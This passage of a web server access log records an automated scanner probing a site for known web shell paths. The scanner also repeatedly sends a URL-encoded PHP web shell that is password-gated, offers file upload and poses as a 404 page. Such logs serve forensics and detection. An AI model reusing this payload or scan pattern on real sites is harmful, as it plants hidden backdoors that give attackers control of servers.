%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:27 +0530] "GET /Sendemail.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:28 +0530] "GET /sindex.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:28 +0530] "GET /lab.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:29 +0530] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 302 266 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:29 +0530] "GET /7index.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:30 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:30 +0530] "GET /wp/wp-content/themes/seotheme/mar.php HTTP/1.1" 302 257 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:31 +0530] "GET /leaf_php.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:31 +0530] "GET /.tmb/cache/shz.php HTTP/1.1" 302 238 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:31 +0530] "GET /xl.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:31 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:31 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:32 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:32 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:33 +0530] "GET /wp-content/wso.php HTTP/1.1" 302 238 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:33 +0530] "GET /wp-includes/pomo/1.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:36 +0530] "GET /images/sym.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:39 +0530] "GET /o.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:39 +0530] "GET /s_ne.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:39 +0530] "GET /wp-content/upgrade/lfgpoem.php HTTP/1.1" 302 250 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:40 +0530] "GET /wp-admin/network/wolf-shell.php HTTP/1.1" 302 251 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:40 +0530] "GET /j.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:41 +0530] "GET /wp-includes/images/css.php HTTP/1.1" 302 246 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:41 +0530] "GET /wso.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:42 +0530] "GET /cms.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:43 +0530] "GET /indeeex.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:44 +0530] "GET /wp-ad.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:44 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:45 +0530] "GET /system_log.php HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:47 +0530] "GET /blog/wp-content/themes/seotheme/mar.php HTTP/1.1" 302 259 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:47 +0530] "GET /100.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:47 +0530] "GET /wp.php?Chitoge HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:48 +0530] "GET /license.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:48 +0530] "GET /new.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:48 +0530] "GET /shx.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:48 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:48 +0530] "GET /wi.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:48 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:48 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:48 +0530] "GET /wp-content/themes/twentytwentythree/content-index.php HTTP/1.1" 302 273 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:48 +0530] "GET 